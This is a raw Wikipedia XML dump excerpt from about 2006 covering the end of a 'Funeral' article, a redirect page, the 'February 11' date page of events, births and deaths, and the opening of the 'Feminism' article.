Recently a new method of disposing of the body, called [[Ecological funeral]] has been suggested by a Swedish biologist. Based on cryotechnology, its main purpose is to give the body a possibility of becoming soil again.

Rarer forms of disposal of the dead include [[excarnation]], where the corpse is exposed to the elements.  This was done by some groups of [[Native Americans in the United States|Native Americans]]; it is still practiced by [[Zoroastrianism|Zoroastrian]]s in [[Bombay]], where the [[Towers of Silence]] allow [[vulture]]s and other carrion eating [[bird]]s to dispose of the corpses. It is also practiced by some Tibetan Buddhist monks where it is sometimes called &quot;sky burial&quot;.

[[Cannibalism]] is also practiced post-mortem in some countries.  The practice has been linked to the spread of a [[prion]] disease called [[kuru (disease)|kuru]].

[[Mummy|Mummification]] is the drying of bodies to preserve them. The most famous practitioners of mummification were ancient Egyptians: many nobles and high-ranked bureaucrats of the old Egyptian kingdom had their corpses [[Embalming|embalmed]] and stored in luxurious [[sarcophagus|sarcophagi]] inside their funeral mausoleum or, in the case of some [[Pharaoh|Pharaons]], [[pyramid]].

==Control by the decedent of the details of the funeral==

In [[law]] in the United States, the deceased have surprisingly little say in the manner in which their funerals can be conducted.  The law generally holds that the funeral rituals are for the benefit of the survivors, rather than to express the personal whims and tastes of the decedent.

The decedent may, in most U.S. jurisdictions, provide instructions as to his funeral by means of a [[Will (law)|Last Will and Testament]].  These instructions can be given some legal effect if [[bequest]]s are made contingent on the [[heir]]s carrying them out, with alternative gifts if they are not followed.  This assumes, of course, that the decedent has enough of an estate to make the heirs pause before doing something that will invoke the alternate bequest.  To be effective, the will must be easily available, and some notion of what it provides must be known to the decedent's survivors.

[[image:funeral.name.tribute.arp.jpg|thumb|right|250px|A name tribute (MUM) at a funeral in England.]]

Some people dislike the clutter and display of flowers at funerals, and feel that there is an unseemly competition in the number and size of the floral arrangements sent.  Many [[newspaper]]s refuse to print an [[obituary]] that requests that flowers not be sent; to do so would be to offend the florists' industry.  Many obituaries, however, contain notices regarding &quot;memorial gifts&quot; to a [[charity]].  It is usually understood in these situations that a gift to the charity made in memory of the decedent relieves the donor of the social duty of sending flowers.

==Anatomical gifts==

Another way of avoiding some of the rituals and costs of a traditional funeral is for the decedent to donate some or all of her or his body to a [[medical school]] or similar institution for the purpose of instruction in [[anatomy]], or for similar purposes.  Students of [[medicine]] and [[osteopathy]] frequently study anatomy from donated cadavers; they are also useful in [[forensic]] research.

Making an anatomical gift is a separate transaction from being an [[organ donor]], in which any useful organs are removed from the unembalmed cadaver for [[medicine|medical]] [[transplant]].  Under a [[Uniform Act]] in force in most jurisdictions of the United States, being an organ donor is a simple process that can often be accomplished when a [[driver's license]] is renewed.
There are some medical conditions, such as [[amputation]]s, or various [[surgery|surgeries]], that can make the cadaver unsuitable for these purposes. Conversely, the bodies of people who had certain medical conditions are useful for research into those conditions. All US medical schools rely on the generosity of &quot;anatomical donors&quot; for the teaching of anatomy. Typically the remains are cremated once the students have completed their anatomy classes, and many medical schools now hold a memorial service at that time as well.

==See also==
*[[State funeral]]
*[[Mourning]]
*[[Bereavement in Judaism]]
*[[Requiem]]
*[[Funeral (album)]]
*[[Museum of funeral customs|Museum of Funeral Customs]]

==External links==
*[http://www.funeralmuseum.org/index.html Museum of Funeral Customs homepage]
*[http://www.amc.edu/Academic/anatomical_gift_program/anatomical_gift_program-medica.htm List of anatomical gift contacts] from [[Albany Medical School]]
*[http://www.genealogytoday.com/guide/funeral_cards.html Finding Funeral Cards Online for your Genealogy]


[[Category:Death customs]]
[[Category:Ceremonies]]

[[es:Sepultura]]
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[[it:Funerale]]
[[he:הלוויה]]
[[nl:Begrafenis]]
[[ja:葬儀]]
[[pl:Pogrzeb]]
[[pt:Funeral]]
[[ru:Похороны]]
[[simple:Funeral]]
[[fi:Hautajaiset]]
[[zh:葬礼]]</text>
    </revision>
  </page>
  <page>
    <title>FAA (disambiguation)</title>
    <id>11183</id>
    <revision>
      <id>35175747</id>
      <timestamp>2006-01-14T19:13:15Z</timestamp>
      <contributor>
        <username>SNIyer12</username>
        <id>224762</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[FAA (other uses)]]</text>
    </revision>
  </page>
  <page>
    <title>February 11</title>
    <id>11184</id>
    <revision>
      <id>41514459</id>
      <timestamp>2006-02-27T21:49:54Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ removed non-noteable</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=11}}
|}
'''[[February 11]]''' is the 42nd day of the year in the [[Gregorian Calendar]]. There are 323 days remaining, 324 in [[leap year]]s.
==Events==
* [[660 BC]] - Traditional founding date of [[Japan]] by [[Emperor Jimmu]].
* [[731]] - [[Pope Gregory II|Gregory II]] ends his reign as [[Pope]].
* [[824]] - [[Pope Paschal I|Paschal I]] ends his reign as [[Pope]].
* [[1531]] - [[Henry VIII of England]] recognized as supreme head of the [[Church of England]].
* [[1752]] - [[Pennsylvania Hospital]], 1st hospital in the [[United States]], opens.
* [[1790]] - [[Religious Society of Friends]] petitions [[Congress of the United States|U.S. Congress]] for abolition of [[slavery]].
* [[1794]] - First session of [[United States Senate]] open to the public.
* [[1808]] - [[Anthracite]] coal first burned as fuel, experimentally.
* [[1809]] - [[Robert Fulton]] patents the [[steamboat]]
* [[1812]] - [[Massachusetts]] governor [[Elbridge Gerry]] [[gerrymandering|gerrymanders]] for the first time.
* [[1814]] - [[Norway]]'s independence is proclaimed, marking the ultimate end of the [[Kalmar Union]].
* [[1826]] - [[University College London]] is founded under the name ''[[University of London]]''.
* [[1837]] - [[American Physiological Society]] organizes in [[Boston, Massachusetts]].
* [[1840]] - [[Gaetano Donizetti]]'s opera [[La Fille du Régiment]] receives its first performance in [[Paris]].
* [[1843]] - [[Giuseppe Verdi]]'s opera [[I Lombardi]] receives its first performance in [[Milan]].
* [[1855]] - [[Kassa Hailu]] is crowned [[Tewodros II]], [[Emperor of Ethiopia]], by [[Abuna Salama III]] in a ceremony at the church of [[Derasge Maryam]].
* [[1858]] - The [[Blessed Virgin Mary]] reputedly appears to Saint [[Bernadette Soubirous]] of [[Lourdes]].
* [[1861]] - [[American Civil War]]: [[United States House of Representatives]] unanimously passes a resolution guaranteeing noninterference with [[slavery]] in any state.
* [[1873]] - King [[Amadeus I of Spain]] abdicates.
* [[1889]] - [[Meiji constitution]] of [[Japan]] adopted; 1st [[Diet of Japan]] convenes in [[1890]].
* [[1895]] - The lowest ever [[United Kingdom|UK]] temperature of -27.2°C was recorded at [[Braemar]] in [[Aberdeenshire (traditional)|Aberdeenshire]]. This record was equalled on [[10 January]],[[1982]] .
* [[1902]] - Police assault [[universal suffrage]] demonstrators in [[Brussels]].
* [[1903]] - [[Anton Bruckner]]'s [[9th Symphony]] receives its first performance in [[Vienna]].
* [[1905]] - [[Pope Pius X]] publishes the encyclical ''[[Vehementer nos]]''.
* [[1908]] - [[Australia]] regain [[the Ashes]] with a 308 run cricket victory over [[England]].
* [[1916]] - [[Emma Goldman]] arrested for lecturing on [[birth control]].
* [[1919]] - [[Reichspräsident|Friedrich Ebert]] ([[Social Democratic Party of Germany|SPD]]), elected [[President of Germany]].
* [[1922]] - [[Navy]] [[USS Michigan (BB-27)]] Decomisioned.
* [[1928]] - [[1928 Winter Olympic Games]] open in [[St. Moritz]], [[Switzerland]].
* [[1929]] - [[Italy]] and the [[Holy See|Vatican]] sign the [[Lateran Treaty]].
* [[1937]] - A sit-down strike ends when [[General Motors]] recognizes the [[United Auto Workers Union]].
* [[1938]] - [[BBC One|BBC Television]] produces the world's first ever [[science fiction television]] programme, an adaptation of a section of the [[Karel Capek]] play ''[[R.U.R.]]'' (The play which coined the term &quot;[[robot]]&quot;).
* [[1941]] - First Gold record presented to [[Glenn Miller]] for &quot;[[Chattanooga Choo Choo]]&quot;.
* [[1943]] - General [[Dwight Eisenhower]] selected to command the [[allies|allied]] armies in [[Europe]].
* [[1945]] - [[Yalta Conference]] ends.
* [[1948]] - [[John Costello]] succeeds [[Eamon de Valera|Éamon de Valera]] as [[Taoiseach]] of [[Ireland]].
* [[1953]] - [[President]] [[Dwight Eisenhower]] refuses clemency appeal for [[Ethel and Julius Rosenberg]].
* 1953 - The [[Soviet Union]] breaks off diplomatic relations with [[Israel]].
* [[1961]] - Trial of [[Adolf Eichmann]] begins in [[Jerusalem]].
* [[1963]] - [[The Beatles]] tape 10 tracks for their first album, including &quot;[[Please, Please Me]]&quot;.
* [[1964]] - At the [[Washington, DC]] [[Coliseum]], [[The Beatles]] have their 1st live appearance in the [[United States]].
* 1964 - [[Greece|Greeks]] and [[Turkey|Turks]] begin fighting in [[Limassol]], [[Cyprus]].
* 1964 - The [[Republic of China]] ([[Taiwan]]) breaks off diplomatic relations with [[France]].
* [[1968]] -  [[Israel]]i-[[Jordan]]ian border clashes.
* 1968 - [[Madison Square Garden]] III closes and [[Madison Square Garden IV]] opens in [[New York City]].
* [[1971]] - [[United States|US]], [[United Kingdom|UK]], [[Soviet Union|USSR]], others sign [[Seabed Treaty]] outlawing [[nuclear weapon]]s in international waters.
* [[1973]] - [[Vietnam War]]: First release of [[United States|American]] [[prisoner of war|prisoners of war]] from [[Vietnam]] takes place.
* [[1978]] - [[Censorship]]: [[China]] lifts a ban on works by [[Aristotle]], [[William Shakespeare|Shakespeare]] and [[Charles Dickens|Dickens]].
* [[1979]] - [[Ayatollah]] [[Ruhollah Khomeini]] seizes power in [[Iran]].
* [[1981]] - 100,000 gallons (380 m&amp;sup3;) of radioactive coolant leak into the containment building of [[TVA]] [[Sequoyah 1]] nuclear plant in [[Tennessee]], contaminating 8 workers.
* [[1983]] - [[President]] [[Ronald Reagan]] declares [[Thomas Edison]]'s birthday [[Inventor's Day|National Inventor's Day]].
* [[1986]] - Rights activist [[Natan Sharansky|Anatoly Sharansky]], released by the [[Soviet Union|USSR]], leaves the country.
* [[1987]] - [[Philippines]] constitution goes into effect.
* [[1990]] - [[James Buster Douglas|James &quot;Buster&quot; Douglas]] KOs [[Michael Tyson|Mike Tyson]] to win [[heavyweight]] [[boxing]] crown.
* 1990 - [[Nelson Mandela]], a political prisoner for 27 years, is freed from [[Victor Verster]] prison outside [[Cape Town]], [[South Africa]].
* [[1991]] - [[UNPO]], the [[Unrepresented Nations and Peoples Organization]], forms in [[The Hague]], [[Netherlands]].
* [[1999]] - [[Pluto (planet)|Pluto]], a planet with an irregular orbit, changes from the eighth to ninth planet furthest from the [[sun]]. It had been the eighth furthest since [[1979]].
* [[2001]] - [[Three Rivers Stadium]] in [[Pittsburgh, Pennsylvania]], [[United States]] was imploded to make way for two new professional sports stadiums.
* [[2006]] - [[Michelle Bachelet]] inaugurated as first woman president of [[Chile]].
* 2006 - [[Vice President of the United States|U.S. Vice President]] [[Dick Cheney]] accidentally [[Dick Cheney shooting incident|shoots]] [[Harry Whittington]] in the face while hunting in rural [[Texas]].

==Births==
*[[1377]] - King [[Ladislas of Naples]] (d. [[1414]])
*[[1380]] - [[Gianfrancesco Poggio Bracciolini]], Italian humanist (d. [[1459]])
*[[1466]] - [[Elizabeth of York]], queen of [[Henry VII of England]] (d. [[1503]])
*[[1535]] - [[Pope Gregory XIV]] (d. [[1591]])
*[[1568]] - [[Honoré d'Urfé]], French writer (d. [[1625]])
*[[1649]] - [[William Carstares]], Scottish minister (d. [[1715]])
*[[1657]] - [[Bernard le Bovier de Fontenelle]], French scientist and man of letters (d. [[1757]])
*[[1755]] - [[Albert Christoph Dies]], German composer (d. [[1822]])
*[[1764]] - [[Marie-Joseph de Chenier]], French poet (d. [[1811]])
*[[1774]] - [[Hans Jarta]], Swedish political activist (d. [[1847]])
*[[1776]] - [[Joannis Capodistrias]], Greek governor of Troezen (d. [[1836]])
*[[1800]] - [[William Henry Fox Talbot]], English photographer (d. [[1877]])
*[[1802]] - [[Lydia Child]], American novelist and abolitionist (d. [[1880]])
*[[1812]] - [[Alexander Hamilton Stephens]], American Confederate Vice President (d. [[1883]])
*[[1813]] - [[Otto Ludwig]], German writer and critic (d. [[1865]])
*[[1819]] - [[Samuel Parkman Tuckerman]], American composer (d. [[1890]])
*[[1821]] - [[Auguste-Édouard Mariette]], French Egyptologist (d. [[1881]])
*[[1830]] - [[Hans Bronsart von Schellendorf]], musician (d. [[1913]])
*[[1833]] - [[Melville Weston Fuller]], 8th [[Chief Justice of the United States]] (d. [[1910]])
*[[1839]] - [[Willard Gibbs|Josiah Willard Gibbs]], American physicist and chemist (d. [[1903]])
*[[1847]] - [[Thomas Alva Edison]], American inventor and businessman (d. [[1931]])
*[[1860]] - [[Rachilde]], French author (d. [[1953]])
*[[1869]] - [[Helene Kroller-Muller]], Dutch museum founder and patron of the arts (d. [[1939]])
*1869 - [[Else Lasker-Schüler]], German writer (d. [[1945]])
*[[1873]] - [[Feodor Chaliapin]], Russian singer (d. [[1938]])
*[[1874]] - [[Fritz Bennicke Hart]], English-born composer (d. [[1949]])
*1874 - [[Elsa Beskow]], Swedish author (d. [[1953]])
*[[1887]] - [[John van Melle]], South African writer (d. [[1953]])
*[[1891]] - [[Jack Hearne (John William Hearne)|J.W. Hearne]] English cricketer (d. [[1965]])
*[[1894]] - [[Alfonso Leng]], Chilean composer (d. [[1974]])
*[[1898]] - [[Leó Szilárd]], Hungarian-born physicist and peace activist (d. [[1964]])
*[[1900]] - [[Hans-Georg Gadamer]], German philosopher (d. [[2002]])
*[[1902]] - [[Arne Jacobsen]], Danish architect and designer (d. [[1971]])
*[[1903]] - [[Hans Redlich]], Austrian composer (d. [[1968]])
*[[1904]] - Sir [[Keith Holyoake]], [[Prime Minister of New Zealand]] (d. [[1983]])
*[[1908]] - [[Vivian Ernest Fuchs]], English geologist and explorer (d. [[1999]])
*[[1909]] - [[Max Baer]], American boxer and actor (d. [[1959]])
*1909 - [[Joseph Mankiewicz]], American director (d. [[1993]])
*[[1912]] - [[Roy Fuller]], English writer (d. [[1991]])
*[[1914]] - [[Matt Dennis]], American singer
*[[1915]] - [[Patrick Leigh Fermor]], English author
*[[1917]] - [[Sidney Sheldon]], American author
*[[1919]] - [[Eva Gabor]], Hungarian-born actress (d. [[1995]])
*1919 - [[Eddie Robinson (football coach)|Eddie Robinson]], American football coach
*[[1920]] - King [[Farouk I of Egypt]] (d. [[1965]])
*1920 - [[Billy Halop]], American actor (d. [[1976]])
*1920 - [[Daniel &quot;Chappie&quot; James Jr.]], American general
*1920 - [[Paul Peter Piech]], American artist (d. [[1996]])
*[[1921]] - [[Lloyd Bentsen]], American politician
*[[1925]] - [[Peter Berger]], British admiral
*1925 - [[Kim Stanley]], American actress (d. [[2001]])
*[[1926]] - [[Paul Bocuse]], French chef
*1926 - [[Alexander Gibson (conductor)|Alexander Gibson]], British conductor
*1926 - [[Leslie Nielsen]], Canadian actor
*[[1931]] - [[Larry Merchant]], author and boxing commentator
*[[1932]] - [[Jerome Lowenthal]], American pianist
*[[1934]] - [[Mel Carnahan]], American politician (d. [[2000]])
*1934 - [[Tina Louise]], American actress
*1934 - [[Mary Quant]], English fashion designer
*1934 - [[John Surtees]], British race car driver
*[[1935]] - [[Bent Lorentzen (composer)|Bent Lorentzen]], Danish composer
*[[1936]] - [[Burt Reynolds]], American actor
*[[1937]] - [[Bill Lawry]], Australian  cricketer
*[[1938]] - [[Bevan Congdon]], New Zealand cricketer
*1938 - [[Simone de Oliveira]], portuguese actress and singer.
*1938 - [[Manuel Noriega]], Panamanian general and dictator
*[[1939]] - [[Gerry Goffin]], American lyricist
*1939 - [[Jane Yolen]], American author
*[[1941]] - [[Sergio Mendes]], Brazilian musician and songwriter
*[[1953]] - [[Philip Anglim]], American actor
*1953 - [[Jeb Bush]], American politician
*[[1956]] - [[Catherine Hickland]], American actress
*1956 - [[Didier Lockwood]], French jazz violinist
*[[1961]] - [[Mary Docter]], American speed skater
*1961 - [[Carey Lowell]], American actress
*[[1962]] - [[Sheryl Crow]], American singer/songwriter, musician
*[[1963]] - [[Diane Franklin]], American actress
*[[1964]] - [[Ken Shamrock]], American martial artist, professional wrestler and American actor
*[[1967]] - [[Hank Gathers]], American basketball player (d. [[1990]])
*[[1969]] - [[Jennifer Aniston]], American actress
*[[1970]] - [[Fredrik Thordendal]], [[Sweden|Swedish]] musician ([[Meshuggah]])
*[[1972]] - [[Brian Daubach]], American baseball player
*[[1973]] - [[Varg Vikernes]], Norwegian musician ([[Burzum]])
*[[1974]] - [[D'Angelo]], American singer
*[[1976]] - [[Brice Beckham]], American actor
*[[1977]] - [[Mike Shinoda]], American singer ([[Linkin Park]])
*[[1979]] - [[Brandy Norwood]], American singer
*[[1980]] - [[Natasha Bobo]], American actress
*1980 - [[Matthew Lawrence]], American actor
*[[1981]] - [[Kelly Rowland]], American singer ([[Destiny's Child]])
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[641]] - [[Heraclius]], Emperor of Byzantium
*[[731]] - [[Pope Gregory II]]
*[[821]] - Saint [[Benedict of Aniane]]
*[[824]] - [[Pope Paschal I]]
*[[1141]] - [[Hugo of St. Victor]], German philosopher and theologian
*[[1160]] - [[Minamoto no Yoshitomo]], Japanese general (b. [[1123]])
*[[1503]] - [[Elizabeth of York]], queen of [[Henry VII of England]] (b. [[1466]])
*[[1626]] - [[Pietro Cataldi]], Italian mathematician (b. [[1552]])
*[[1650]] - [[René Descartes]], French philosopher (b. [[1596]])
*[[1685]] - [[David Teniers III]], Flemish painter (b. [[1638]])
*[[1713]] - [[Jahandar Shah]], Mughal emperor of Indai (b. [[1664]])
*[[1755]] - [[Francesco Scipione, marchese di Maffei]], Italian archaeologist (b. [[1675]])
*[[1762]] - [[Johann Tobias Krebs]], German composer (b. [[1690]])
*[[1763]] - [[William Shenstone]], English poet (b. [[1714]])
*[[1797]] - [[Antoine Dauvergne]], French composer (b. [[1713]])
*[[1829]] - [[Alexandr Griboyedov]], Russian playwright (b. [[1795]])
*[[1862]] - [[Elizabeth Siddal]], British poet and artist (b. [[1829]])
*[[1868]] - [[Léon Foucault]], French astronomer (b. [[1819]])
*[[1879]] - [[Honoré Daumier]], French caricaturist and painter (b. [[1808]])
*[[1917]] - [[Oswaldo Cruz]], Brazilian physician (b. [[1872]])
*[[1931]] - [[Charles Algernon Parsons]], British inventor (b. [[1854]])
*[[1939]] - [[Franz Schmidt]], Austrian composer (b. [[1874]])
*[[1940]] - [[John Buchan]], [[Governor-General of Canada]] (b. [[1875]])
*[[1945]] - [[Al Dubin]], Swiss songwriter (b. [[1891]])
*[[1948]] - [[Sergei Eisenstein]], Latvian film director (b. [[1898]])
*[[1959]] - [[Marshall Teague]], American race car driver (b. [[1922]])
*[[1960]] - [[Ernst von Dohnanyi]], Hungarian conductor (b. [[1877]])
*[[1963]] - [[Sylvia Plath]], American writer (b. [[1932]])
*[[1968]] - [[Howard Lindsay]], American playwright (b. [[1888]])
*[[1972]] - [[Jan Wils]], Dutch architect (b. [[1891]])
*[[1973]] - [[Hans D Jensen]], German physicist, [[Nobel Prize]] physicist (b. [[1907]])
*[[1976]] - [[Lee J Cobb]], American actor (b. [[1911]])
*1976 - [[Alexander Lippisch]], German scientist (b. [[1894]])
*[[1977]] - [[Louis Beel]], [[Prime Minister of the Netherlands]]  (b. [[1902]])
*[[1978]] - [[James B Conant]], American chemist and university president (b. [[1893]])
*1978 - [[Harry Martinson]], Swedish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1904]])
*[[1982]] - [[Eleanor Powell]], American actress and dancer (b. [[1912]])
*1982 - [[Takashi Shimura]], Japanese actor (b. [[1905]])
*[[1985]] - [[Ben Abruzzo]], American businessman and balloonist (b. [[1930]])
*1985 - [[Henry Hathaway]], American actor and director (b. [[1898]])
*1985 - [[Heinz Eric Roemheld]], American composer (b. [[1901]])
*[[1986]] - [[Frank Herbert]], American author (b. [[1920]])
*[[1987]] - [[Sadequain]], famous Pakistani painter and artist. (b. [[1930]])
*[[1989]] - [[George O'Hanlon]], American actor and director (b. [[1912]])
*[[1993]] - [[Robert W. Holley]], American biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1922]])
*[[1994]] - [[Neil Bonnett]], American race car driver (b. [[1946]])
*1994 - [[Sorrell Booke]], American actor (b. [[1930]])
*1994 - [[William Conrad]], American actor (b. [[1920]])
*[[1996]] - [[Kebby Musokotwane]], [[Prime Minister of Zambia]] (b. [[1946]])
*1996 - [[Cyril Poole]], English cricketer (b. [[1921]])
*1996 - [[Amelia Rosselli]], Italian poet (b. [[1930]])
*[[1997]] - [[Barry Evans]], English actor (b. [[1943]])
*1997 - [[Don Porter]], American actor (b. [[1912]])
*[[2000]] - [[Roger Vadim]], French director (b. [[1928]])
*[[2002]] - [[Frankie Crosetti|Frank Crosetti]], baseball player (b. [[1910]])
*2002 - [[Barry Foster (actor)|Barry Foster]], British actor (b. [[1931]])
*[[2005]] - [[Jack L. Chalker]], American author (b. [[1944]])
*[[2006]] - [[Jockey Shabalala]], South African singer ([[Ladysmith Black Mambazo]]) (b. [[1943]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* [[Catholicism]] - Feast day of [[Our Lady of Lourdes]].
* [[World Day of the Sick]].
* [[National Foundation Day]] in [[Japan]] (See [[Holidays of Japan]].)
* [[National Youth Day]] in [[Cameroon]].
* [[Professor Leets' Day]] in the [[United States]].
* [[Inventor's Day|National Inventors' Day]] in the [[United States]].

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=11 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060211.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/11 BBC: On This Day]

----

[[February 10]] - [[February 12]] - [[January 11]] - [[March 11]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:11 Februarie]]
[[ang:11 Solmōnaþ]]
[[ar:11 فبراير]]
[[an:11 de frebero]]
[[ast:11 de febreru]]
[[bg:11 февруари]]
[[be:11 лютага]]
[[bs:11. februar]]
[[ca:11 de febrer]]
[[ceb:Pebrero 11]]
[[cv:Нарăс, 11]]
[[co:11 di frivaghju]]
[[cs:11. únor]]
[[cy:11 Chwefror]]
[[da:11. februar]]
[[de:11. Februar]]
[[et:11. veebruar]]
[[el:11 Φεβρουαρίου]]
[[es:11 de febrero]]
[[eo:11-a de februaro]]
[[eu:Otsailaren 11]]
[[fo:11. februar]]
[[fr:11 février]]
[[fy:11 febrewaris]]
[[ga:11 Feabhra]]
[[gl:11 de febreiro]]
[[ko:2월 11일]]
[[hr:11. veljače]]
[[io:11 di februaro]]
[[id:11 Februari]]
[[ia:11 de februario]]
[[ie:11 februar]]
[[is:11. febrúar]]
[[it:11 febbraio]]
[[he:11 בפברואר]]
[[jv:11 Februari]]
[[ka:11 თებერვალი]]
[[csb:11 gromicznika]]
[[ku:11'ê reşemiyê]]
[[lt:Vasario 11]]
[[lb:11. Februar]]
[[hu:Február 11]]
[[mk:11 февруари]]
[[ms:11 Februari]]
[[nap:11 'e frevaro]]
[[nl:11 februari]]
[[ja:2月11日]]
[[no:11. februar]]
[[nn:11. februar]]
[[oc:11 de febrièr]]
[[pl:11 lutego]]
[[pt:11 de Fevereiro]]
[[ro:11 februarie]]
[[ru:11 февраля]]
[[se:Guovvamánu 11.]]
[[sco:11 Februar]]
[[sq:11 Shkurt]]
[[scn:11 di frivaru]]
[[simple:February 11]]
[[sk:11. február]]
[[sl:11. februar]]
[[sr:11. фебруар]]
[[fi:11. helmikuuta]]
[[sv:11 februari]]
[[tl:Pebrero 11]]
[[tt:11. Febräl]]
[[te:ఫిబ్రవరి 11]]
[[th:11 กุมภาพันธ์]]
[[vi:11 tháng 2]]
[[tr:11 Şubat]]
[[uk:11 лютого]]
[[wa:11 di fevrî]]
[[war:Pebrero 11]]
[[zh:2月11日]]
[[pam:Pebreru 11]]</text>
    </revision>
  </page>
  <page>
    <title>Feminism</title>
    <id>11185</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42152753</id>
      <timestamp>2006-03-04T04:09:36Z</timestamp>
      <contributor>
        <username>Pollinator</username>
        <id>22743</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/208.42.140.210|208.42.140.210]] ([[User talk:208.42.140.210|talk]]) to last version by KimvdLinde</comment>
      <text xml:space="preserve">'''Feminism''' is a diverse collection of [[social theory|social theories]], [[political movement]]s, and [[ethics|moral philosophies]], largely motivated by or concerning the experiences of women, especially in terms of their social, political, and economic situation.  As a social movement, feminism largely focuses on limiting or eradicating [[gender gap|gender inequality]] and promoting women's [[right]]s, interests, and issues in [[society]]. It also incorporates concern about the effect of [[gender roles]] on men, and encouragement for men to change and transcend traditional male  roles and [[social norm|norms]] of [[masculinity]].

Within [[academia]], some feminists focus on documenting gender inequalities that oppress women and on changes in the social position and representation of women.  Others argue that [[gender]], and even [[sex]], are social constructs, and research the construction of [[gender]] and [[sexuality]], and develop alternate models for studying [[social relations]].  

Some feminist scholars, in echoes of [[anarchist]] feminists like [[Emma Goldman]], have posited that the [[hierarchy|hierarchies]] in businesses and government and all organizations need to be replaced with a decentralized ultra-[[democracy]]. Some argue that having any central leader in any organization is derived from the [[androcentrism|androcentric]] family structure (and therefore needs reform and replacement), and thus such scholars see the essence of feminism as beyond the surface issues of sex and gender.

Feminist political [[activism|activists]] commonly campaign on issues such as [[reproductive rights]] (including but not limited to the right to choose an [[abortion]], the elimination of legal restrictions on abortion, and access to [[Birth control|contraception]]), [[domestic violence|violence]] within a [[domestic partnership]], [[parental leave|maternity leave]], [[equal pay for women|equal pay]], [[sexual harassment]], [[street harassment]], [[discrimination]], and [[rape|sexual violence]]. Themes explored in feminism include [[patriarchy]], [[Stereotype|stereotyping]], [[objectification]],  [[sexual objectification]], and [[oppression]]. 

In the 1960s and 1970s, much of feminism and feminist theory represented, and was concerned with, problems faced by [[Western world|Western]], white, middle-class women while claiming to represent all women.  Since then, many feminist theorists have challenged the assumption that &quot;women&quot; constitute a homogeneous group of individuals with identical interests.  Feminist activists emerged from within diverse communities, and feminist theorists began to focus on the intersection of gender and sexuality with other social identities, such as [[race]] and [[Social class|class]].  Many feminists today argue that feminism is a [[Grassroots democracy|grass-roots]] movement that seeks to cross boundaries based on social class, race, [[culture]], and [[religion]]; is culturally specific and addresses issues relevant to the women of that [[society]] (for example [[female genital cutting]] in [[Africa]] or the [[glass ceiling]] in developed economies); and debate the extent to which certain issues, such as [[rape]], [[incest]], and [[Mother|mothering]], are universal.

As of 2005, a number of [[Feminist Initiative|feminist political parties]] have formed. 

==Origins==
{{main|History of feminism}}
[[Image:Early_feminists.jpg|thumb|250px|First International Convention of Women in [[Washington D.C.]] [[Susan B. Anthony]] is third from the left, front row.]]

Feminism as a [[philosophy]] and movement in the modern sense may be usefully dated to [[Age of Enlightenment|The Enlightenment]] with such thinkers as [[Lady Mary Wortley Montagu]] and the [[Marquis de Condorcet]] championing women's education. The first [[scientific society]] for women was founded in [[Middelburg]], a city in the south of the [[Dutch Republic|Dutch republic]], in [[1785]]. Journals for women which focused on issues like science became popular during this period as well. [[Mary Wollstonecraft]]'s ''[[A Vindication of the Rights of Woman]]'' ([[1792]]) is one of the first works that can unambiguously be called feminist.
 
Feminism became an organized movement in the [[19th century]] as people increasingly came to believe that women were being treated unfairly. The feminist movement was rooted in the progressive movement and especially in the  [[reform movement]] of the [[19th century]]. The [[Utopian socialism|utopian socialist]] [[Charles Fourier]] coined the word ''féminisme'' in [[1837]]; as early as [[1808]], he had argued that the extension of women's rights was the general principle of all social progress.  The organized movement was dated from the first women's rights convention at [[Seneca Falls convention|Seneca Falls]], New York, in [[1848]].  In 1869, [[John Stuart Mill]] published [[The Subjection of Women]] to demonstrate that &quot;the legal subordination of one sex to the other is wrong...and...one of the chief hindrances to human improvement.&quot; 

Many countries began to grant women the [[suffrage|vote]] in the early years of the [[20th century]], especially in the final years of the [[World War I|First World War]] and the first years hence. The reasons varied, but they included a desire to recognize the contributions of women during the war, and were also influenced by rhetoric used by both sides at the time to justify their war efforts. For example, since [[Woodrow Wilson]]'s [[Fourteen Points]] recognized self determination as vital to society, the hypocrisy of denying half the population of modern nations the vote became difficult for men to ignore.

==Feminism in many forms==
Some forms of feminist theory question basic assumptions about gender, gender difference, and sexuality, including the category of &quot;woman&quot; itself as a [[holism|holistic]] concept, further some are interested in questioning the male/female binary completely (offering instead a multiplicity of genders). Other forms of feminist theory take for granted the concept of &quot;woman&quot; and provide specific analyses and critiques of [[gender]] [[inequality]], and most feminist social movements promote women's [[right]]s, interests, and issues. Feminism is not a single [[ideology]].  Over-time several sub-types of feminist ideology have developed.  Early feminists and primary feminist movements are often called the [[first-wave feminism|first-wave feminists]], and feminists after about [[1960]] the [[second-wave feminism|second-wave feminists]].  More recently, a new generation of feminists have started [[third-wave feminism]].  Whether this will be a lasting evolution remains to be seen as the second-wave has by no means ended nor has it ceded to the third-wave feminists.  Moreover, some commentators have asserted that the [[Silent Majority|silent]] majority of modern feminists have more in common ideologically with the first-wave feminists than the second-wave.  For example, many of the ideas arising from [[Radical feminism]] and [[Gender feminism]] (prominent second-wave movements) have yet to gain traction within the broader community and outside of Gender Studies departments within the academy.  

